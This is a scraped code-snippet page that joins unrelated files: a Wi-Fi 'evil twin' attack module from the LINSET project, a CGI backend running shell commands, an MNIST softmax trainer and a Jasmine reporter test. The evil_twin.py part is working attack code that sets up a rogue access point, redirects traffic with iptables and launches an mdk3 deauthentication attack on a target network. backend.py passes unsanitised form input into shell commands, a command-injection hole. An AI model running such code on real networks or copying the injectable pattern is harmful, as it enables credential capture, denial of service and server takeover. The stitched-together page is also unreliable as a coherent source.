Best Python code snippet using avocado_python
evil_twin.py
Source:evil_twin.py  
...43# CODE MODULE    ############################################################################################44def main(run):45	if InterfaceSupportAPMode():46		Loadingfile(init.var['template'])47		process=commands.getoutput("airmon-ng check $INTERFACE | tail -n +8 | grep -v \"on interface\" | awk '{ print $2 }'")48		printk.inf("Killing proccess on interface")49		process=process.split("\n")50		for p in process:51			commands.getoutput("killall "+p)52		rangos=init.var['ip_range'].split(".")53		rango=rangos[0]+"."+rangos[1]+"."+rangos[3]+".1"54		rangov=rangos[0]+"."+rangos[1]+"."+rangos[3]55		printk.inf("Setting tables ["+rango+"]")56		commands.getoutput("ifconfig "+init.var['drive']+" up")57		commands.getoutput("ifconfig "+init.var['drive']+" "+init.var['ip_range']+" netmask 255.255.255.0")58		commands.getoutput("route add -net "+rango+" netmask 255.255.255.0 gw "+init.var['ip_range'])59		commands.getoutput("echo \"1\" > /proc/sys/net/ipv4/ip_forward")60		commands.getoutput("iptables --flush")61		commands.getoutput("iptables --table nat --flush")62		commands.getoutput("iptables --delete-chain")63		commands.getoutput("iptables --table nat --delete-chain")64		commands.getoutput("iptables -P FORWARD ACCEPT")65		commands.getoutput("iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination "+init.var['ip_range']+":80")66		commands.getoutput("iptables -t nat -A POSTROUTING -j MASQUERADE")67		commands.getoutput("echo interface="+init.var['drive']+"  > tmp/hostapd.conf")68		commands.getoutput("echo driver=nl80211                  >> tmp/hostapd.conf")69		commands.getoutput("echo ssid="+init.var['essid']+"      >> tmp/hostapd.conf")70		commands.getoutput("echo channel="+init.var['channel']+" >> tmp/hostapd.conf")71		commands.getoutput("echo authoritative\;> tmp/dhcpd.config")72		commands.getoutput("echo default-lease-time 600\;>> tmp/dhcpd.config")73		commands.getoutput("echo max-lease-time 7200\;>> tmp/dhcpd.config")74		commands.getoutput("echo subnet "+rangov+".0 netmask 255.255.255.0 { >> tmp/dhcpd.config")75		commands.getoutput("echo option broadcast-address "+rangov+".255\;>> tmp/dhcpd.config")76		commands.getoutput("echo option routers "+rango+"\;>> tmp/dhcpd.config")77		commands.getoutput("echo option subnet-mask 255.255.255.0\;>> tmp/dhcpd.config")78		commands.getoutput("echo option domain-name-servers "+rango+"\;>> tmp/dhcpd.config")79		commands.getoutput("echo range "+rangov+".100 "+rangov+".250\;>> tmp/dhcpd.config")80		commands.getoutput("echo }>> tmp/dhcpd.config")81		commands.getoutput("echo "+init.var['bssid']+" > tmp/target.log")82		#printk.inf("Starting Apache Server                   "+status_cmd("service apache2 start"))83		#printk.inf("Coping Files to Server                   "+status_cmd("cp -r "+init.var['template']+"* "+PATCH_WWW))84		#printk.inf("Starting Access Point ["+init.var['essid']+"]")85		SYSTEM.Subprocess("hostapd tmp/hostapd.conf")86		time.sleep(3)87		printk.inf("Starting DHCP server")88		SYSTEM.Subprocess("dhcpd -d -f -cf tmp/dhcpd.config")89		time.sleep(3)90		printk.inf("Starting DOS attack to "+init.var['bssid'])91		SYSTEM.Subprocess("mdk3 "+init.var['driveMon']+" d -b tmp/target.log -c "+init.var['channel'])92		raw_input(printk.pkey("if you want to stop AP (PRESS [ENTER])"))93		DNSFAKE()94		SYSTEM.KillProcess("dhcpd")95		SYSTEM.KillProcess("hostapd")96		SYSTEM.KillProcess("mdk3")97		SYSTEM.KillProcess("NetworkManager start")98		commands.getoutput("iptables --flush")99		commands.getoutput("iptables --table nat --flush")100		commands.getoutput("iptables --delete-chain")101		commands.getoutput("iptables --table nat --delete-chain")102		for p in process:103			commands.getoutput("service "+p+" start")104		#printk.inf("Removing files                           "+status_cmd("rm -r "+PATCH_WWW+"* ; rm tmp/hostapd.conf; rm tmp/dhcpd.config; rm tmp/target.log"))105		#printk.inf("Stoping Apache Server                    "+status_cmd("service apache2 stop"))106		Space()107# CODE MODULE    ############################################################################################108# THIS SCRIPT IS OF LINSET PROJECT 109class DNSQuery:110  def __init__(self, data):111    self.data=data112    self.dominio=''113    tipo = (ord(data[2]) >> 3) & 15  114    if tipo == 0:                     115      ini=12116      lon=ord(data[ini])117      while lon != 0:...backend.py
Source:backend.py  
...6data = cgi.FieldStorage()7a = data.getvalue('a')8if a=='linux-1':9	x = data.getvalue('x')10	output = sp.getoutput('mkdir {}'.format(x))11elif a == 'linux-2':12        output = sp.getoutput('ls')13        print()14        print(output)15elif a == 'linux-3':16	x = data.getvalue('x')17	output = sp.getoutput('touch {}'.format(x))18elif a == 'linux-4':19	x = data.getvalue('x')20	output = sp.getoutput('cat {}'.format(x))21elif a == 'linux-5':22	x = data.getvalue('x')23	output = sp.getoutput('useradd {}'.format(x))24	print(output)25elif a == 'linux-6':26	x = data.getvalue('x')27	output = sp.getoutput('passwd {}'.format(x))28	print(output)29elif a == 'linux-7':30	output = sp.getoutput('free -m')31	print(output)32elif a == 'linux-8':33	output = sp.getoutput('df -hT')34	print(output)35elif a == 'linux-9':36	x = data.getvalue('x')37	output = sp.getoutput('rpm -q {}'.format(x))38	print(output)39elif a == 'linux-10':40	x = data.getvalue('x')41	output = sp.getoutput('rpm -e {}'.format(x))42	print(output)43elif a == 'linux-11':44	output = sp.getoutput('ifconfig enp0s3')45	print(output)46elif a == 'linux-12':47	output = sp.getoutput('jps')48	print(output)49elif a == 'linux-13':50	output = sp.getoutput('lscpu')51	print(output)52elif a == 'linux-14':53	output = sp.getoutput('ps -aux')54	print(output)55elif a == 'linux-15':56	output = sp.getoutput('uptime')57	print(output)58elif a == 'linux-16':59	output = sp.getoutput('echo 3 > /proc/sys/vm/drop_caches')60	print(output)61elif a == 'linux-17':62	x = data.getvalue('x')63	output = sp.getoutput('yum whatprovides {}'.format(x))64	print(output)65elif a == 'linux-18':66	x = data.getvalue('x')67	output = sp.getoutput('ping {}'.format(x))68	print(output)69elif a == 'linux-19':70	x = data.getvalue('x')71	y = data.getvalue('y')72	output = sp.getoutput('useradd -s {} {}'.format(x,y))73	print(output)74elif a == "linux-20":75        x = data.getvalue('x')76        output = sp.getoutput('date')77        print(output)78elif a == 'aws-1':79	output = sp.getoutput('aws configure')80	print(output)81elif a == 'aws-2':82	x = data.getvalue('x')83	output = sp.getoutput('aws ec2 create-key-pair --key-name {}'.format(x))84	print(output)85elif a == 'aws-3':86	x = data.getvalue('x')87	output = sp.getoutput('aws ec2 create-security-group --group-name {}'.format(x))88	print(output)89elif a == 'aws-4':90	x = data.getvalue('x')91	y = data.getvalue('y')92	z = data.getvalue('z')93	b = data.getvalue('b')94	c = data.getvalue('c')95	d = data.getvalue('d')96	output = sp.getoutput('aws ec2 run-instances --image-id {} --instance-type {} --count {} --subnet-id {} --key-name {} --security-group-ids {}'.format(x,y,z,b,c,d))97	print(output)98elif a == 'aws-5':99	x = data.getvalue('x')100	y = data.getvalue('y')101	output = sp.getoutput('aws ec2 create-volume --availability-zone {} --no-encrypted --size {}'.format(x,y))102	print(output)103elif a == 'aws-6':104	x = data.getvalue('x')105	y = data.getvalue('y')106	output = sp.getoutput('aws ec2 attach-volume --instance-id {} --volume-id {} --device xvdh'.format(x,y))107	print(output)108elif a == 'aws-7':109	x = data.getvalue('x')110	y = data.getvalue('y')111	output = sp.getoutput('aws s3api create-bucket --bucket {} --region {} --create-bucket-configuration LocationConstraint={}'.format(x,y,y))112	print(output)113elif a == 'docker-1':114	output = sp.getoutput('docker -version')115	print(output)116elif a == 'docker-2':117	x = data.getvalue('x')118	y = data.getvalue('y')119	output = sp.getoutput('docker run -dit --name {}  {}'.format(x,y))120	print(output)121elif a == 'docker-3':122	x = data.getvalue('x')123	#y = data.getvalue('y')124	output = sp.getoutput('docker pull {}'.format(x))125	print(output)126elif a == 'docker-4':127	#y = data.getvalue('y')128	output = sp.getoutput('docker ps')129	print(output)130elif a == 'docker-5':131	#y = data.getvalue('y')132	output = sp.getoutput('docker ps -a')133	print(output)134elif a == 'docker-6':135	#y = data.getvalue('y')136	output = sp.getoutput('docker images')137	print(output)138elif a == 'docker-7':139	x = data.getvalue('x')140	#y = data.getvalue('y')141	output = sp.getoutput('docker start {}'.format(x))142	print(output)143elif a == 'docker-8':144	x = data.getvalue('x')145	#y = data.getvalue('y')146	output = sp.getoutput('docker stop {}'.format(x))147	print(output)148elif a == 'docker-9':149	x = data.getvalue('x')150	#y = data.getvalue('y')151	output = sp.getoutput('docker rm {}'.format(x))152	print(output)153elif a == 'docker-10':154	#y = data.getvalue('y')155	output = sp.getoutput('docker stop $(docker ps -aq)')156	print(output)157elif a == 'docker-11':158	#y = data.getvalue('y')159	output = sp.getoutput('docker rm $(docker ps -aq)')160	print(output)161elif a == 'hadoop-1':162	#y = data.getvalue('y')163	output = sp.getoutput('hadoop version')164	print(output)165elif a == 'hadoop-2':166	#y = data.getvalue('y')167	output = sp.getoutput('hadoop namenode -format')168	print(output)169elif a == 'hadoop-3':170	#y = data.getvalue('y')171	output = sp.getoutput('hadoop-daemon.sh start namenode')172	print(output)173elif a == 'hadoop-4':174	#y = data.getvalue('y')175	output = sp.getoutput('hadoop-daemon.sh start datanode')176	print(output)177elif a == 'hadoop-5':178	#y = data.getvalue('y')179	output = sp.getoutput('hadoop dfsadmin -report')180	print(output)181elif a == 'hadoop-6':182	#y = data.getvalue('y')183	output = sp.getoutput('hadoop fs -ls /')184	print(output)185elif a == 'hadoop-7':186	x = data.getvalue('x')187	y = data.getvalue('y')188	output = sp.getoutput('hadoop fs -put {}/{}'.format(x,y))189	print(output)190elif a == 'hadoop-8':191	x = data.getvalue('x')192	#y = data.getvalue('y')193	output = sp.getoutput('hadoop fs -rm /{}'.format(x))194	print(output)195elif a == 'hadoop-9':196	x = data.getvalue('x')197	#y = data.getvalue('y')198	output = sp.getoutput('hadoop fs -cat /{}'.format(x))199	print(output)200elif a == 'hadoop-10':201	x = data.getvalue('x')202	y = data.getvalue('y')203	output = sp.getoutput('hadoop fs -Ddfs.block.size={}  -put {} /'.format(x,y))204	print(output)205elif a == 'hadoop-11':206	x = data.getvalue('x')207	#y = data.getvalue('y')208	output = sp.getoutput('hadoop fs -touchz {} /'.format(x))...main.py
Source:main.py  
1from mnist import MNIST2import numpy as np3import random4# æ°æ®åå¤5mndata = MNIST('data')6images, labels = mndata.load_training()7images_test, labels_test = mndata.load_testing()8images = np.array(images)9labels = np.array(labels)10images_test = np.array(images_test)11labels_test = np.array(labels_test)12images = images / 25513images_test = images_test / 25514def toOneHot(labels):15	labels_new = np.zeros([len(labels), 10])16	for index in range(len(labels)):17		labels_new[index][labels[index]] = 118	return labels_new19labels = toOneHot(labels)20labels_test = toOneHot(labels_test)21# è¾å
¥å±22class Variable:23	def __init__(self, value = None):24		if value is not None:25			self.value = value26			self.gradient = np.zeros_like(value, dtype=np.float)27		else:28			self.gradient = None29	def __str__(self):30		return '{ value =\n' + str(self.value) + ',\n gradient =\n' + str(self.gradient) + '}';31	def __repr__(self):32		return self.__str__();33	def getOutput(self):34		return self35	def takeInput(self, value):36		self.value = value;37		self.gradient = np.zeros_like(value, dtype=np.float)38	def applyGradient(self, step_size):39		self.value = self.value + self.gradient * step_size40		self.gradient = np.zeros_like(self.gradient, dtype=np.float)41	@staticmethod42	def random():43		return Variable(random.random() * 2 - 1);44class Cell:45	def getOutput(self):46		return self.output47class SCell(Cell):48	def __init__(self, input):49		self.input = input50class DCell(Cell):51	def __init__(self, input0, input1):52		self.input0 = input053		self.input1 = input154class AddCell(DCell):55	def forwardPropagation(self):56		self.output = Variable(self.input0.getOutput().value + self.input1.getOutput().value)57	def backwardPropagation(self):58		self.input0.getOutput().gradient += self.output.gradient59		self.input1.getOutput().gradient += self.output.gradient60class MatMulCell(DCell):61	def forwardPropagation(self):62		self.output = Variable(np.dot(self.input0.getOutput().value, self.input1.getOutput().value))63	def backwardPropagation(self):64		self.input0.getOutput().gradient += np.dot(self.output.gradient, self.input1.getOutput().value.T)65		self.input1.getOutput().gradient += np.dot(self.input0.getOutput().value.T, self.output.gradient)66class SoftmaxCell(SCell):67	def forwardPropagation(self):68		self.output = Variable(np.exp(self.input.getOutput().value) / np.sum(np.exp(self.input.getOutput().value)))69	def backwardPropagation(self):70		self.input.getOutput().gradient += -np.sum(self.output.gradient * self.output.value) * self.output.value + self.output.gradient * self.output.value;71class CrossEntropyCell(DCell):72	def forwardPropagation(self):73		self.output = Variable(-np.sum(np.log(self.input0.getOutput().value) * self.input1.getOutput().value))74	def backwardPropagation(self):75		self.input0.getOutput().gradient += self.output.gradient * -self.input1.getOutput().value / self.input0.getOutput().value76		self.input1.getOutput().gradient += self.output.gradient * -np.log(self.input0.getOutput().value)77class Network:78	def __init__(self):79		self.variables = [];80		self.cells = [];81	def getVariablesAmount(self):82		return len(self.variables);83	def getCellsAmount(self):84		return len(self.cells);85	def appendVariable(self, variable):86		self.variables.append(variable);87	def appendCell(self, cell):88		self.cells.append(cell);89	def forwardPropagation(self):90		for cell in self.cells:91			cell.forwardPropagation();92	def backwardPropagation(self):93		for cell in reversed(self.cells):94			# print(cell.getOutput())95			cell.backwardPropagation();96	def applyGradient(self, step_size):97		for variable in self.variables:98			variable.applyGradient(step_size);99# Network100network = Network();101# Variables102W = Variable(np.zeros([784, 10]))103network.appendVariable(W);104B = Variable(np.zeros([1, 10]))105network.appendVariable(B);106# Inputs Layer107X = Variable(np.zeros([1, 784]))108Y = Variable(np.zeros([1, 10]))109# Weighted-Sum110matmulCell = MatMulCell(X, W) # X * W => [10, 1]111network.appendCell(matmulCell)112# Bias113addCell = AddCell(matmulCell, B) # X * W + B => [10, 1]114network.appendCell(addCell)115# Softmax116softmaxCell = SoftmaxCell(addCell) # Softmax(X * W + B) => [10, 1]117network.appendCell(softmaxCell)118# Loss (Cross-entropy)119loss = CrossEntropyCell(softmaxCell, Y) # CrossEntropy(Softmax(X * W + B), Y) => Loss120network.appendCell(loss)121# Training122BATCH_NUMBER = 1000 # BATCHçæ°é123BATCH_SIZE = 100 # BATCHç大å°124LEARNING_RATE = 0.5 #å¦ä¹ éç125for batch_index in range(BATCH_NUMBER ):126    # æé ä¸ä¸ªBATCH127    batch_xs = [];128    batch_ys = [];129    for data_index in range(BATCH_SIZE):130        j = random.randint(0, len(images) - 1)131        x = images[j][np.newaxis];132        y = labels[j][np.newaxis];133        batch_xs.append(x);134        batch_ys.append(y);135    # 使ç¨è¿ä¸ªBATCHè¿è¡è®ç»136    batch_loss = 0137    for data_index in range(BATCH_SIZE):138        x = batch_xs[data_index];139        y = batch_ys[data_index];140        X.takeInput(x);141        Y.takeInput(y);142        network.forwardPropagation() # æ£åä¼ æ143        batch_loss += loss.getOutput().value # ç»è®¡æ´ä¸ªBATCHçæå¤±144        loss.getOutput().gradient = -1 / BATCH_SIZE # æ´ä¸ªBATCHç»ä¸è®¡ç®æ¢¯åº¦ï¼æä»¥åä¸ªæ°æ®ç¹çè¾åºæ¢¯åº¦åªæ1/BATCH_SIZE145        network.backwardPropagation() # ååä¼ æ146    147    # å¼ç¨æ¢¯åº¦148    network.applyGradient(LEARNING_RATE)149    print('batch', batch_index, ', loss =', batch_loss)150# Test151precision = 0152for index in range(len(images_test)):153    x = images_test[index][np.newaxis];154    y = labels_test[index][np.newaxis];155    X.takeInput(x);156    Y.takeInput(y);157    network.forwardPropagation()158    predict = np.argmax(softmaxCell.getOutput().value)159    if predict == np.argmax(y):160        precision += 1 / len(images_test)...ConsoleReporterSpec.js
Source:ConsoleReporterSpec.js  
1describe("ConsoleReporter", function() {2  var out;3  beforeEach(function() {4    out = (function() {5      var output = "";6      return {7        print: function(str) {8          output += str;9        },10        getOutput: function() {11          return output;12        },13        clear: function() {14          output = "";15        }16      };17    }());18  });19  it("reports that the suite has started to the console", function() {20    var reporter = new j$.ConsoleReporter({21      print: out.print22    });23    reporter.jasmineStarted();24    expect(out.getOutput()).toEqual("Started\n");25  });26  it("starts the provided timer when jasmine starts", function() {27    var timerSpy = jasmine.createSpyObj('timer', ['start']),28        reporter = new j$.ConsoleReporter({29          print: out.print,30          timer: timerSpy31        });32    reporter.jasmineStarted();33    expect(timerSpy.start).toHaveBeenCalled();34  });35  it("reports a passing spec as a dot", function() {36    var reporter = new j$.ConsoleReporter({37      print: out.print38    });39    reporter.specDone({status: "passed"});40    expect(out.getOutput()).toEqual(".");41  });42  it("does not report a disabled spec", function() {43    var reporter = new j$.ConsoleReporter({44      print: out.print45    });46    reporter.specDone({status: "disabled"});47    expect(out.getOutput()).toEqual("");48  });49  it("reports a failing spec as an 'F'", function() {50    var reporter = new j$.ConsoleReporter({51      print: out.print52    });53    reporter.specDone({status: "failed"});54    expect(out.getOutput()).toEqual("F");55  });56  it("reports a pending spec as a '*'", function() {57    var reporter = new j$.ConsoleReporter({58      print: out.print59    });60    reporter.specDone({status: "pending"});61    expect(out.getOutput()).toEqual("*");62  });63  it("alerts user if there are no specs", function(){64    var reporter = new j$.ConsoleReporter({65          print: out.print66        });67    reporter.jasmineStarted();68    out.clear();69    reporter.jasmineDone();70    expect(out.getOutput()).toMatch(/No specs found/);71  });72  it("reports a summary when done (singular spec and time)", function() {73    var timerSpy = jasmine.createSpyObj('timer', ['start', 'elapsed']),74        reporter = new j$.ConsoleReporter({75          print: out.print,76          timer: timerSpy77        });78    reporter.jasmineStarted();79    reporter.specDone({status: "passed"});80    timerSpy.elapsed.and.returnValue(1000);81    out.clear();82    reporter.jasmineDone();83    expect(out.getOutput()).toMatch(/1 spec, 0 failures/);84    expect(out.getOutput()).not.toMatch(/0 pending specs/);85    expect(out.getOutput()).toMatch("Finished in 1 second\n");86  });87  it("reports a summary when done (pluralized specs and seconds)", function() {88    var timerSpy = jasmine.createSpyObj('timer', ['start', 'elapsed']),89        reporter = new j$.ConsoleReporter({90          print: out.print,91          timer: timerSpy92        });93    reporter.jasmineStarted();94    reporter.specDone({status: "passed"});95    reporter.specDone({status: "pending"});96    reporter.specDone({97      status: "failed",98      description: "with a failing spec",99      fullName: "A suite with a failing spec",100      failedExpectations: [101        {102          passed: false,103          message: "Expected true to be false.",104          expected: false,105          actual: true,106          stack: "foo\nbar\nbaz"107        }108      ]109    });110    out.clear();111    timerSpy.elapsed.and.returnValue(100);112    reporter.jasmineDone();113    expect(out.getOutput()).toMatch(/3 specs, 1 failure, 1 pending spec/);114    expect(out.getOutput()).toMatch("Finished in 0.1 seconds\n");115  });116  it("reports a summary when done that includes stack traces for a failing suite", function() {117    var reporter = new j$.ConsoleReporter({118      print: out.print119    });120    reporter.jasmineStarted();121    reporter.specDone({status: "passed"});122    reporter.specDone({123      status: "failed",124      description: "with a failing spec",125      fullName: "A suite with a failing spec",126      failedExpectations: [127        {128          passed: false,129          message: "Expected true to be false.",130          expected: false,131          actual: true,132          stack: "foo bar baz"133        }134      ]135    });136    out.clear();137    reporter.jasmineDone({});138    expect(out.getOutput()).toMatch(/true to be false/);139    expect(out.getOutput()).toMatch(/foo bar baz/);140  });141  it("calls the onComplete callback when the suite is done", function() {142    var onComplete = jasmine.createSpy('onComplete'),143      reporter = new j$.ConsoleReporter({144        print: out.print,145        onComplete: onComplete146      });147    reporter.jasmineDone({});148    expect(onComplete).toHaveBeenCalled();149  });150  describe("with color", function() {151    it("reports that the suite has started to the console", function() {152      var reporter = new j$.ConsoleReporter({153        print: out.print,154        showColors: true155      });156      reporter.jasmineStarted();157      expect(out.getOutput()).toEqual("Started\n");158    });159    it("reports a passing spec as a dot", function() {160      var reporter = new j$.ConsoleReporter({161        print: out.print,162        showColors: true163      });164      reporter.specDone({status: "passed"});165      expect(out.getOutput()).toEqual("\x1B[32m.\x1B[0m");166    });167    it("does not report a disabled spec", function() {168      var reporter = new j$.ConsoleReporter({169        print: out.print,170        showColors: true171      });172      reporter.specDone({status: 'disabled'});173      expect(out.getOutput()).toEqual("");174    });175    it("reports a failing spec as an 'F'", function() {176      var reporter = new j$.ConsoleReporter({177        print: out.print,178        showColors: true179      });180      reporter.specDone({status: 'failed'});181      expect(out.getOutput()).toEqual("\x1B[31mF\x1B[0m");182    });183  });...Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!
